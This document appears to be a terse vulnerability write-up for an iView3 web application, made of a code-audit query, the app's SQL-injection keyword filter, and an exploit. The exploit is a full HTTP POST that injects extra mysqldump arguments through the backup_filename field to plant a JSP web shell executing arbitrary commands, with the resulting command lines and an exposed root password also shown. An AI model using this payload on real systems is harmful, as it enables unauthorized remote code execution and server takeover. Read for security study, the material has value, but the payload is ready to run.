1MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)-[:HAS]->(m:Method)-[:CALL*2]-(m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return *

 1public boolean checkSQLInjection(String model0) {
 2    boolean result = false;
 3    String model = model0.toLowerCase();
 4    if (!model.contains(" or ") && !model.contains("'or ") && !model.contains("||") && !model.contains("==") && !model.contains("--")) {
 5        if (model.contains("union") && model.contains("select")) {
 6            if (this.checkCommentStr(model, "union", "select")) {
 7                result = true;
 8            }
 9        } else if (model.contains("case") && model.contains("when")) {
10            if (this.checkCommentStr(model, "case", "when")) {
11                result = true;
12            }
13        } else if (model.contains("into") && model.contains("dumpfile")) {
14            if (this.checkCommentStr(model, "into", "dumpfile")) {
15                result = true;
16            }
17        } else if (model.contains("into") && model.contains("outfile")) {
18            if (this.checkCommentStr(model, "into", "outfile")) {
19                result = true;
20            }
21        } else if (model.contains(" where ") && model.contains("select ")) {
22            result = true;
23        } else if (model.contains("benchmark")) {
24            result = true;
25        } else if (model.contains("select") && model.contains("from")) {
26            if (this.checkCommentStr(model, "select", "from")) {
27                result = true;
28            }
29        } else if (model.contains("select/*")) {
30            result = true;
31        } else if (model.contains("delete") && model.contains("from")) {
32            if (this.checkCommentStr(model, "delete", "from")) {
33                result = true;
34            }
35        } else if (model.contains("drop") && model.contains("table") || model.contains("drop") && model.contains("database")) {
36            if (this.checkCommentStr(model, "drop", "table")) {
37                result = true;
38            }
39
40            if (this.checkCommentStr(model, "drop", "database")) {
41                result = true;
42            }
43        } else if (!model.contains("sleep(") && !model.contains(" rlike ") && !model.contains("rlike(") && !model.contains(" like ")) {
44            if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {
45                result = true;
46            } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {
47                result = true;
48            } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {
49                result = true;
50            }
51        } else {
52            result = true;
53        }
54    } else {
55        result = true;
56    }
57
58    if (result) {
59        System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]");
60    }
61
62    return result;
63}

1"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\aa"

12.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"

1POST /iView3/NetworkServlet HTTP/1.1
2Host: 172.16.16.132:8080
3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
4Connection: close
5Content-Type: application/x-www-form-urlencoded
6Content-Length: 79
7
8page_action_type=backupDatabase&backup_filename=2.sql"+-r+"./webapps/iView3/test.jsp"+-w+"<%25%3dnew+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new+ProcessBuilder(request.getParameter(new+java.lang.String(new+byte[]{99,109,100}))).start()).getInputStream()))%25>"

1"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"